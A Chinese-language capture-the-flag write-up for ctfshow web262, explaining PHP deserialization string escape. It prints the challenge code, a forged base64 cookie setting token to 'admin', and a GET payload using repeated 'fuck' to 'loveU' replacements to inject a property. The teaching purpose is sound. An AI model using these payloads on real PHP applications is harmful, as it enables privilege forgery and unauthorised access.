ctfshow-web262

(也是一篇非纯正题解,记录的是个人的一些思路和想法【虽然也没啥想法】)

一:初步尝试

进去之后看到的是这些东西:

php 复制代码
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

这里可以看到有一个是str replace,是将fuck改为loveU,然后写在msg里面,后面又把这个设为一个cookie并进行base64编码,其实我刚开始的时候也是很懵的,这个序列化的msg好像没什么用,然后在想会不会有什么其他的东西,于是dirsearch扫了一下,发现了这么一个:

(虽然一般这种都是纯坑人的,但还是点进去看了一下,然后确实什么都没有)

然后再回到代码里去看,细心的话可以看到注释部分多了一个message.php【我从来都没关注过这个】,然后去访问了一下message.php是这样的:

php 复制代码
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

这个满足 $msg->token=='admin' 即可,vscode里跑一下:

php 复制代码
<?php 
    class message{
        public $token='admin';
    }
    $a= new message();
    echo base64_encode(serialize($a));

结果如下,再放到cookie里面就行了:

php 复制代码
Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

然后这里有一个问题就是为什么我用dirsearch扫不出来message.php, 这个我觉得可能是diresarch的字典里面本身没有message.php,我加了个-u php之后只显示了**flag.php,**所以真要扫还得增加字典,但是不知道为什么我加了字典还是扫不出来,望知道的师傅能解答。

二:真实方法

这里用的方法是字符串逃逸问题:

最关键的部分是这里: umsg = str_replace('fuck', 'loveU', serialize(msg));

这里就是如果msg里面有fuck,那么就会将其替换为loveU,这样就会多出来一个字符,如果假设我们传入的t是fuck,那么后面就会替换成loveU:

php 复制代码
fuck";s:5:"token";s:5:"admin";}

loveU";s:5:"token";s:5:"admin";}

而php的读取逻辑是:

php 复制代码
s:4:"loveU";
     ↑↑↑↑
     只读 4 个字符

那么最后面会多出来U", 最关键的来了,它会被当成"新的 PHP 语法结构"继续解析!

对象反序列化时,同名属性,后出现的覆盖前面的

原来 tokenuser,因为字符串替换导致长度不匹配,多出来的内容被当成"新的反序列化结构",而这个结构里我们伪造了一个 token = admin,反序列化时"后面的同名属性覆盖前面的",所以最终 token 变成了 admin

然后就是要对齐结构 ,一次 fuck → loveU 只多 1 个字节,不够我们完整地插**token";s:5:"admin"** 这种结构,所以必须用多个 fuck 来"攒长度"。然后就是看字符串的长度了,这里同样也有一个十分重要的点:

php 复制代码
";s:5:"token";s:5:"admin";}  //这个最前面的 " 是必须的

一共27,是 "刚好完整逃逸 + 正确闭合结构", 因此我们最终的payload为**:**

php 复制代码
?f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php即可得到flag:

最后的最后可能有人会问为什么是放在t里面可不可以是m或者f那边,在这里面是绝对不能的,因为PHP 反序列化是顺序解析 的,我们在哪个字段制造"长度逃逸",就会污染它后面的所有结构。而t是离token最近、又不会污染其他字段的最佳逃逸点。

三:总结

这是一道典型的PHP serialize + str_replace = 属性注入 ,通过这道题,我们了解了什么是字符串逃逸,以及如何选择和构造字符串逃逸如果这里不能偷鸡 即一定要进行字符串逃逸话的题目要加上相应限制如**不能直接控制 cookie【**cookie 是程序生成的】token是protected/private或者有wakeup()检查

又是受益匪浅的一天~

相关推荐
久绊A3 小时前
混合云管理平台的 “隐形雷区”:越权与 XSS 漏洞的攻防之道
安全·web安全·云平台
市安3 小时前
nat模式下lvs规划与部署
服务器·网络·php
郑州光合科技余经理3 小时前
O2O上门预约小程序:全栈解决方案
java·大数据·开发语言·人工智能·小程序·uni-app·php
定偶4 小时前
Ubuntu 20.04 网络与软件源问题
网络·ubuntu·php·系统优化
CHU7290354 小时前
智慧回收新体验:同城废品回收小程序的便捷功能探索
java·前端·人工智能·小程序·php
YUJIANYUE4 小时前
asp/php日历式值班查询系统2026版
开发语言·php
CS创新实验室4 小时前
《计算机网络》深入学:虚拟局域网(VLAN)技术与应用
开发语言·计算机网络·php·vlan·虚拟局域网
m0_748240444 小时前
快速上手CodeIgniter框架指南
php
菩提小狗4 小时前
Sqli-Labs Less4:双引号字符型 SQL 注入详解|靶场|网络安全
数据库·sql·web安全